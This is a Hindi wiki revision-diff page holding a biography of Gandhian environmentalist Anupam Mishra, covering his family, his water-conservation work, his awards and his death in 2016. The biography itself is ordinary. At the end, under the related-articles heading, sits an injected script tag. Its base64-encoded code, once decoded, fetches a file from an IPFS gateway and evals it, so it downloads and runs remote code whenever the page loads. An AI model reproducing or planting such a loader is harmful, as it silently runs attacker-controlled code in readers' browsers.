अनुपम मिश्र: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 28: Line 28:
|शीर्षक 2=
|शीर्षक 2=
|पाठ 2=
|पाठ 2=
|अन्य जानकारी=अनुपम मिश्रा को उनके द्वारा लिखी किताब 'आज भी खरे हैं तालाब' के लिए 2011 देश के प्रतिष्ठित 'जमनालाल बजाज पुरस्कार' से सम्मानित किया गया। अनुपम मिश्र ने इस किताब को शुरू से ही कॉपीराइट से मुक्त रखा है।
|अन्य जानकारी=अनुपम मिश्रा को उनके द्वारा लिखी किताब 'आज भी खरे हैं तालाब' के लिए [[2011]] में देश के प्रतिष्ठित 'जमनालाल बजाज पुरस्कार' से सम्मानित किया गया। उन्होंने शुरु से ही इस किताब को कॉपीराइट से मुक्त रखा।
|बाहरी कड़ियाँ=
|बाहरी कड़ियाँ=
|अद्यतन=
|अद्यतन=
Line 45: Line 45:
==निधन==
==निधन==
अनुपम मिश्र बीते एक बरस से प्रोस्टेट कैंसर से जूझ रहे थे जिस कारण उनका निधन [[19 दिसम्बर]], [[2016]] को [[नई दिल्ली]] के एम्स अस्पताल में हो गया। वो 68 बरस के थे।
अनुपम मिश्र बीते एक बरस से प्रोस्टेट कैंसर से जूझ रहे थे जिस कारण उनका निधन [[19 दिसम्बर]], [[2016]] को [[नई दिल्ली]] के एम्स अस्पताल में हो गया। वो 68 बरस के थे।
 
==टीका टिप्पणी और संदर्भ==
<references/>
==संबंधित लेख==
==संबंधित लेख==
{{सामाजिक कार्यकर्ता}}
{{सामाजिक कार्यकर्ता}}
[[Category:अनुपम मिश्र]][[Category:सामाजिक कार्यकर्ता]][[Category:चरित कोश]][[Category:जीवनी साहित्य]]
[[Category:अनुपम मिश्र]][[Category:सामाजिक कार्यकर्ता]][[Category:चरित कोश]][[Category:जीवनी साहित्य]]
__INDEX__
__INDEX__

Revision as of 10:45, 3 August 2017

अनुपम मिश्र
पूरा नाम अनुपम मिश्र
जन्म 1948
जन्म भूमि वर्धा, महाराष्ट्र
मृत्यु 19 दिसम्बर, 2016
मृत्यु स्थान नई दिल्ली
मृत्यु कारण प्रोस्टेट कैंसर
अभिभावक पिता- भवानी प्रसाद मिश्र और माता- सरला मिश्र
नागरिकता भारतीय
भाषा संस्कृत
विद्यालय दिल्ली विश्वविद्यालय
शिक्षा स्नातकोत्तर
अन्य जानकारी अनुपम मिश्रा को उनके द्वारा लिखी किताब 'आज भी खरे हैं तालाब' के लिए 2011 में देश के प्रतिष्ठित 'जमनालाल बजाज पुरस्कार' से सम्मानित किया गया। उन्होंने शुरु से ही इस किताब को कॉपीराइट से मुक्त रखा।

अनुपम मिश्र (अंग्रेज़ी: Anupam Mishra, जन्म: 1948, महाराष्ट्र; मृत्यु: 19 दिसम्बर, 2016, नई दिल्ली) जाने माने लेखक, संपादक, छायाकार और गाँधीवादी पर्यावरणविद् थे। पर्यावरण के लिए वह तब से काम कर रहे थे, जब से देश में पर्यावरण का कोई विभाग नहीं खुला था। बगैर बजट के मिश्र ने देश और दुनिया के पर्यावरण की जिस बारीकी से खोज-खबर ली है, वह कई सरकारों, विभागों और परियोजनाओं के लिए भी संभव नहीं था। उनकी कोशिश से सूखाग्रस्त अलवर में जल संरक्षण का काम शुरू हुआ जिसे दुनिया ने देखा और सराहा।

परिचय

अनुपम मिश्र का जन्म महाराष्ट्र के वर्धा में सरला मिश्र और प्रसिद्ध हिन्दी कवि भवानी प्रसाद मिश्र के यहाँ सन 1948 में हुआ। मिश्र के परिवार में उनकी पत्नी, एक बेटा, बड़े भाई और दो बहनें हैं। उन्होंने दिल्ली विश्वविद्यालय से 1969 में संस्कृत से स्नातकोत्तर किया। कॉलेज की पढ़ाई पूरी करने के बाद वो दिल्ली स्थित गाँधी शांति प्रतिष्ठान से जुड़ गए। इस ज़माने में भी बग़ैर मोबाइल, बग़ैर टीवी, बग़ैर वाहन के वो रहते थे। वे सिर्फ दो जोड़ी कुर्ते-पायजामे और झोले वाले इंसानों में से एक माने जाते थे। सरल, सपाट टायर से बनी चप्पल पहनने वाले अनुपम एक दम शांत स्वभाव के थे। अनुपम मिश्र का अपना कोई घर नहीं था। वह गाँधी शांति फाउंडेशन के परिसर में ही रहते थे।[1]

कार्यक्षेत्र

अनुपम मिश्र जाने माने गाँधीवादी पर्यावरणविद् थे। पर्यावरण के लिए वह तब से काम कर रहे थे, जब से देश में पर्यावरण का कोई विभाग नहीं खुला था। बगैर बजट के मिश्र ने देश और दुनिया के पर्यावरण की जिस बारीकी से खोज-खबर ली है, वह कई सरकारों, विभागों और परियोजनाओं के लिए भी संभव नहीं हो पाया। गाँधी शांति प्रतिष्ठान में उन्होंने पर्यावरण कक्ष की स्थापना की। वे इस प्रतिष्ठान की पत्रिका 'गाँधी मार्ग' के संस्थापक और संपादक भी है। उन्होंने बाढ़ के पानी के प्रबंधन और तालाबों द्वारा उसके संरक्षण की युक्ति के विकास का महत्वपूर्ण काम किया है। वे 2001 में दिल्ली में स्थापित सेंटर फार एनवायरमेंट एंड फूड सिक्योरिटी के संस्थापक सदस्यों में से एक थे। चंडी प्रसाद भट्ट के साथ काम करते हुए उन्होंने उत्तराखंड के चिपको आंदोलन में जंगलों को बचाने के लिये सहयोग किया था। वह जल-संरक्षक राजेन्द्र सिंह की संस्था तरुण भारत संघ के लंबे समय तक अध्यक्ष रहे।

पुरस्कार

अनुपम मिश्र एक दम शांत स्वभाव के क्यक्ति थे। उनको मिले पुरस्कार इस प्रकार है-

  • 2007-2008 में मध्यप्रदेश सरकार द्वारा 'चंद्रशेखर आज़ाद राष्ट्रीय पुरस्कार' से सम्मानित किया गया।
  • 2011 में देश के प्रतिष्ठित जमनालाल बजाज पुरस्कार से सम्मानित किया गया।
  • 1996 में देश के सर्वोच्च 'इंदिरा गाँधी पर्यावरण पुरस्कार' से भी सम्मानित किया जा चुका है।

निधन

अनुपम मिश्र बीते एक बरस से प्रोस्टेट कैंसर से जूझ रहे थे जिस कारण उनका निधन 19 दिसम्बर, 2016 को नई दिल्ली के एम्स अस्पताल में हो गया। वो 68 बरस के थे।

टीका टिप्पणी और संदर्भ

  1. अनुपम मिश्र (हिंदी) samwad24.com। अभिगमन तिथि: 1 अगस्त, 2017।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>